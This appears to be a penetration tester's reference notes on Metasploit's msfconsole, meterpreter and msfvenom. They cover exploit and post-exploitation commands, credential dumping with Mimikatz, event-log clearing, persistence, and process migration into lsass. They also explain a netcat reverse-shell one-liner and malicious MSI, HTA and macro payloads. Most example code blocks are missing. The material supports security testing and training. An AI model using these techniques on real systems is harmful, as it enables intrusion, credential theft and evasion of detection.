msfconsole
msfconsole
Basic Metasploit flow:
use $MODULE_NAME
set $OPTIONS
run
You can use msfconsole as a shell, but there’s no redirect functionality.
Commands
Common msfconsole commands
back
— exit the current moduledb_nmap $FLAGS $IP
— run Nmap and dump the results into the Metasploit DB; all Nmap$FLAGS
are supported and Metasploit will elevate privileges if necessaryhelp
— get Metasploit helphistory
— display command historyhosts
— display known hosts in DBhosts -d
— delete saved hosts from DBinfo
— show module information (including exploit target options)jobs
— check the status of background jobsoptions
(advanced
) — show module/exploit options (or “advanced” options)run
/exploit
— run the selected exploitrun -j
— run the selected exploit as a background jobsearch
— search modules; query to a particular type of module using thetype:
parameter (e.g.,search type:exploit wordpress
)services
— display services discovered in known hosts in DBsessions
— list open meterpreter sessions on a boxsessions -i $SESSION_NUMER
— connect to meterpreter session$SESSION_NUMBER
show auxiliary
— show auxiliary modules, filtered by relevancy if called from within a moduleshow exploits
— show exploit modulesshow options
— show module optionsshow payloads
— show payload modules, filtered by relevancy if called from within a modulespool
— save all console output to a log file (useful for record-keeping)use
— select a Metasploit module/exploitvulns
— display vulnerabilities discovered in known hosts in DBworkspace
— use workspaces; keeps database results isolated per engagementNote that you can also call regular shell commands (ip, ls, etc.) from msfconsole. You can also background processes using Ctrl + Z (Metasploit will trap this, so you don’t have to worry about backgrounding the entire msfconsole).
Link to originalModules
Module categories:
- Auxiliary (odds-n-ends)
- Encoders (re-encode exploits to thwart signature-based anti-malware solutions)
- Evasion (attempt to directly evade anti-malware solutions)
- Exploits
- NOPS (no-op code that can be used to pad exploits to a needed size)
- Payloads (what you want to run if the exploit is successful; often, but not always, some kind of shell)
- Post (additional post-exploitation tools)
Note that Metasploit 6 apparently calls these “framework plugins” now.
- Remember: Open up the port Metasploit’s going to use in your firewall before running the exploit. Generally this is port 4444 by default (set with LPORT).
- Also Remember: Be sure to set LHOST (and, when applicable, SRVHOST) correctly, even if it’s not indicated by the module. Metasploit’s guesses about which interface to use aren’t always correct… (I find using the explicit IP address works better than specifying the interface device or leaving SRVHOST at the default of 0.0.0.0.)
- Also ALSO Remember: Sometimes you might find yourself in the position of trying to exploit a service over an SSH tunnel (for example, if you’re trying to exploit a service that’s not exposed externally in order to elevate your privileges). When doing this, remember that LHOST is still your machine’s external address, as the exploit won’t be connecting back over the SSH tunnel (obviously)! Since LHOST is also used to determine where the exploit’s listener binds to, it’s sometimes necessary to set the optional ReverseListenerBindAddress in these cases (typically when you do this, LHOST will be some remote system you’re tunneled into, and ReverseListenerBindAddress will be 127.0.0.1).
Options
Metasploit module usage basics
The common RHOSTS option accepts IP addresses, ranges, CIDR networks, and even a file with one target per line (specify as file:/path/to/file.txt).
Most modules support the ARCH, PAYLOAD, and SESSION options (for specifying target architecture, the payload to deliver, or session number to connect to). However, these are not shown when running
show options
.You can reset individual parameters using
unset
, and reset the entire module usingunset all
.Equivalent module commands:
set -g
=setg
unset -g
=unsetg
run
=exploit
Some exploit modules have a
check
option which attempts to determine if a target is vulnerable without actually exploiting it. Alternately, other modules have a paired auxiliary scanner. Many don’t have a check at all. YMMV!Payloads
Payloads can be divided into:
- Singles (self-contained; also indicated by the use of an
_
separating “shell” from the rest of the payload name, as inshell_reverse_tcp
)- Stagers (small applications that establish a connection back to the attacker to download a larger, more complex payload)
- Stages (payloads designed to be downloaded by a stager; also indicated by the use of a
/
separating “shell” from the rest of the payload name, as inshell/reverse_tcp
)Payloads follow the OS/ARCHITECTURE/PAYLOAD (though ARCHITECTURE is not included for 32-bit Windows payloads).
INFORMATION
Metasploit defaults to sending 32-bit payloads, but an increasing number of things won’t work on a 64-bit system from a 32-bit meterpreter shell. It’s probably best to explicitly set the
payload
option to use a 64-bit payload unless you know that you’ll be dealing with a 32-bit system.List all available payloads using
msfvenom --list payloads
orshow payloads
from within the Metasploit console.A specific payload can be set in the Metasploit console use the
set PAYLOAD full/path/to/payload
.If you initially get a native shell, use the
post/multi/manage/shell_to_meterpreter
module to upgrade to Meterpeter.Link to original
shell_to_meterpreter
creates a new connection on a new port, by default 4433.Scanners
Metasploit scanner modules
Use
search portscan
to display built-in Metasploit port scanners. Note that msfconsole needs to be run as root for many scans to work — just like Nmap. That said, in my experience the fancier TCP scans (for example, SYN) don’t work over a VPN… So maybe best to stick with Nmap.Targeted scanners can be more useful, however:
- The
auxiliary/scanner/discovery/udp_sweep
module will probe for common UDP services.- The
auxiliary/scanner/http/http_version
module will give you HTTP server version information.- The
auxiliary/scanner/smb/smb_login
module will allow you to conduct brute-force and password spraying attacks against Samba logins.Metasploit has a variety of Samba/CIFS scanners too (use
Link to originalsearch scanner/smb
to list them), as well as modules for basic enumeration such assmtp_version
/smtp_enum
(for SMTP) andmysql_sql
(for MySQL, though this seems to just be a thin wrapper around the MySQL command line client).Exploits
Metasploit exploit modules
exploit/multi/handler
— Catch a shell produced using msfvenom. Note that you’ll need to useset payload
to tell Metasploit what it’s catching — for example,windows/meterpreter/reverse_tcp
(orwindows/x64/meterpreter/reverse_tcp
). Both regular reverse shells and meterpreter sessions can be caught this way.exploit/windows/smb/psexec
— Call PSExec over SMB (instantiates meterpreter by default). Only works ifSMBUser
has admin privileges on the target!Note that any Windows exploit that requires a password will also accept an NTLM hash (the LMHash part can be replaced by an appropriately-sized string of 0 characters if not available).
Link to originalmeterpreter
Helpful Metasploit modules to use with meterpreter
Potentially useful Metsploit modules to
run
from/besides meterpreter:
post/windows/gather/checkvm
— try to determine if we’re in a VMpost/multi/recon/local_exploit_suggester
— find possible privilege escalation exploits (can be slow/unreliably on 64-bit architectures)post/windows/gather/enum_shares
— enumerate sharesauxiliary/scanner/smb/smb_enumusers_domain
— enumerate SMB domain users (requires existing admin credentials)post/windows/gather/hashdump
— same as the hashdump command, but pushes the hashes into the Metasploit DBpost/windows/gather/smart_hashdump GETSYSTEM=FALSE
— same as the hashdump command, but pushes the hashes into the Metasploit DB and ignores system accountsauxiliary/analyze/crack_windows
— sic John the Ripper or Hashcat on NTLM hashes stored in the Metasploit DBpost/windows/manage/enable_rdp
— enable RDP access (requires admin privileges)post/multi/manage/autoroute
— manipulate target routing for pivotingauxiliary/server/socks_proxy
— start a SOCKS proxyexploit/windows/local/persistence
— sets up a persistent connection (you probably want toset STARTUP SYSTEM
)… without a password!NOTE
It is generally more useful to background meterpreter and then run these commands through the Metasploit console, as within meterpreter they need to have all options specified on the “run” command line (in the console you can access help, actually see what the options are, etc.).
There seem to be a lot of options for the
post/multi/manage/autoroute
andauxiliary/server/socks_proxy
modules, but I don’t see a way to access them from meterpreter (it looks like to get help you need to background meterpreter and use the console).The advantage of setting up a SOCKS proxy on the target is that you can then use proxychains to route through the target; this can allow you to pivot more deeply into the network that you’re attacking. (You probably want to create a custom proxychains.conf file to do this. Fortunately, /etc/proxychains.conf is well documented.)
Link to originalCIFS
Metasploit CIFS modules
Metasploit can also enumerate CIFS users using the
auxiliary/smb/smb_lookupsid
module.Like Nmap, I’ve found this to be a bit unreliable on UNIX-like systems.
Link to originalMS SQL
Link to originalMetasploit MS SQL modules
Metasploit provides a lot of tools for enumerating and exploiting MS SQL.
Link to original
auxiliary/scanner/mssql/mssql_ping
— Discover MS SQL servers (alternatively, use--script=ms-sql-info
with Nmap)auxiliary/scanner/mssql/mssql_login
— Brute force loginsauxiliary/admin/mssql/mssql_enum
— Enumerate databasesexploit/windows/mssql/mssql_payload
— Get a shell
meterpreter
meterpreter
The meterpreter reverse shell requires a connection back to msfconsole using multi/handler.
Commands
Common meterpreter commands
background
— background the current session and return to the Metasploit consoleclearenv
— clears the (Windows) event logs (kinda obvious)creds_all
— dump all user credentials in memory (requires thekiwi
module)download
— transfer a file from the target to the attackeredit
— edit a filegetpid
— get current process IDgetprivs
— display current user privilegesgetsystem
— attempt to elevate to SYSTEM/rootgetuid
— get current process usergolden_ticket_create
— create a golden ticket (requires thekiwi
module)guid
— get session IDhashdump
— dump NLTM hashes from the SAM (Windows-only, requires system privileges); fields are username, RID (the last four digits of the Windows SID, with leading zeros dropped), LM password hash, NTLM password hashifconfig
— display host network interface informationinfo
— get information about a meterpreter extensionload
— load meterpreter extensionload kiwi
— load Mimikatz extensionmigrate
— migrate meterpreter to another processnetstat
— display host network connectionsportfwd
— forward a port on the hostroute
— mess with the host routing tablesrun
— run a meterpreter extensionsearch
— search for filessessions
— switch to another (Metasploit) sessionshell
— drop to system shell (return to meterpreter usingCTRL + Z
)sysinfo
— pull remote system informationupload
— transfer a file from the attacker to the targetmeterpreter sessions can be backgrounded using the
background
command, and all sessions can be backgrounded usingCTRL + Z
. List sessions using thesessions
command, and foreground a session usingsession -i #
, where#
is the session number.The
Link to originalsessions
command is also used to connect to meterpreter sessions that have been caught after a successfully executed exploit.Extensions
Loading PowerShell
How to start PowerShell from a meterpreter session
Don’t try to exit PowerShell — trying to do this produces consistent hangs for me. Instead, background the process with
Link to original^Z
.Using Mimikatz
How to call Mimikatz from a meterpreter shell
Use
Link to originalload kiwi
to load up Mimikatz. Sub-commands:User impersonation
How to impersonate a user with meterpreter
Not 100% sure where the “tokens” come from here… Mimikatz, maybe?
Link to originalProcess migration
Link to originalProcess migration in meterpreter
I think that meterpreter is being run directly from memory, and what
migrate
is doing is basically creating a new process using the memory of a different application, hopping to that process, and then shutting down the old process.Reasons to migrate the meterpreter process:
- For persistence (pick a long-running process)
- To make sure that the meterpreter process has system privileges
- To hide (pick a process less likely to be examined)
- To stabilize the shell (initial exploits often produce somewhat unstable sessions)
- To move laterally or escalate privileges within a system (if you’re lucky)
- To gain additional capabilities
In particular, harvesting credentials from LSASS requires that meterpreter be living in a process with the same permissions (NT AUTHORITY/SYSTEM) and architecture as LSASS; migrating meterpreter can help us realize this. The print spooler service (spoolsv.exe) is often a good choice, as it runs with elevated permissions, has the same architecture as the system itself, and will restart itself automatically. You can also use lsass.exe directly if you feel like living dangerously.
Another example is that dumping keystrokes will only work when meterpreter is attached to a word processor or text editor.
Note that meterpreter will happily let you migrate from a privileged to an unprivileged process — which may cause you to loose control of the target system! Additionally, migrating meterpreter will change its current working directory to that of the process it’s attaching to.
Executing
Link to originalrun post/windows/manage/migrate
will cause meterpreter to try to migrate to another process in an automated fashion. I’m not sure how “smart” this is in practice.
msfvenom
msfvenom
msfvenom is a tool to create custom versions of Metasploit payloads, encoded into a variety of different binary formats and scripts. For example:
This will generates code that looks like this:
What’s going on here?
mkfifo /tmp/qdsrgu
creates a named pipe at /tmp/qdsrgu.- We then spin up a netcat instance directed at our local machine (
nc $LOCAL_IP $LOCAL_PORT
), direct the contents of the pipe into netcat’s STDIN (0< /tmp/qdsrgu
), pipe the output of netcat to a shell we know probably exists (| /bin/sh
), and finally redirect both STDOUT and STDERR back into the named pipe (> /tmp/qdsrgu 2>&1
).- On the local machine,
nc -lvp $LOCAL_PORT
listens for the incoming netcat connection from the remote. Anything we type on STDIN here gets sent to the remote and piped to /bin/sh there. The output of /bin/sh is then sent to the named pipe, which dumps into (the remote) netcat, which then sends the data to the local machine where it ends up on STDOUT.Use
--list formats
to see available encoding formats. In general, shell scripts can always be produced by specifying-f raw
and an output file with the appropriate extension.Linux ELF executables
How to exploit Linux ELF executables with msfvenom
Link to originalmacOS MACH-O executables
How to exploit macOS MACH-O executables with msfvenom
Link to originalWindows executables
How to exploit Windows executables with msfvenom
Note that by default msfvenom produces 64-bit executables when using the
Link to original-f exe
. This doesn’t work, however, if you’re trying to replace a program inProgram Files (x86)
. In this case, you’ll need to explicitly instruct msfvenom to encode a 32-bit binary using-e x86/shikata_ga_nai
.MSI installers
How to exploit Windows MSI installers with msfvenom
If AlwaysInstallElevated is set to 1 under both of the following registry keys, then MSI installers will run as SYSTEM.
Generate a malicious MSI file with msfvenom:
Then install on the target to get a shell:
Link to originalHTML applications
How to exploit Windows HTML applications with msfvenom
msfvenom can be used to generate HTA refer shells.
Catch with the standard
nc -lvp $ATTACKER_PORT
netcat command.Metasploit can do all of this automatically for us via
exploit/windows/misc/hta_server
. Critical variables to set:
LHOST
— the host IP address to connect back toLPORT
— the port to connect back toSRVHOST
— the host IP address to serve the malicious file onpayload
— the Metasploit payload to useIn quick-and-dirty cases LHOST and SRVHOST will be the same, though in more sophisticated operations (i.e., if you’re separating phishing and C2 IPs) they will be different. The payload variable is particularly useful, as you can use something like
windows/meterpreter/reverse_tcp
and get a meterpreter shell, rather than just a plain reverse shell!Note that you may have to hit “Return” once the file is served to get back to the Metasploit prompt.
Link to originalVBA scripts
How to exploit VBA scripts with msfvenom
Metasploit’s msfvenom can create VBA payloads, as one might expect. Despite WSH not wanting to pop cmd.exe or other executables (outside of calc.exe), a meterpreter reverse shell actually works! (That said, it will die when Word does, and thus needs to be migrated to a new process ASAP…)
To work, the VBA output must be copied into a Microsoft Office document as a macro. By default msfvenom will use the
Link to originalWorkbook_Open()
function; this is suitable for Excel, but must be changed toDocument_Open()
for Word.Bash scripts
How to exploit shell scripts with msfvenom
Link to originalPython scripts
How to exploit Python scripts with msfvenom
Link to originalPerl scripts
How to exploit Perl scripts with msfvenom
Link to originalPHP scripts
How to exploit PHP scripts with msfvenom
Link to originalASP scripts
How to exploit ASP scripts with msfvenom
Link to originalJSP scripts
Link to originalHow to exploit JSP Scripts with msfvenom
Link to original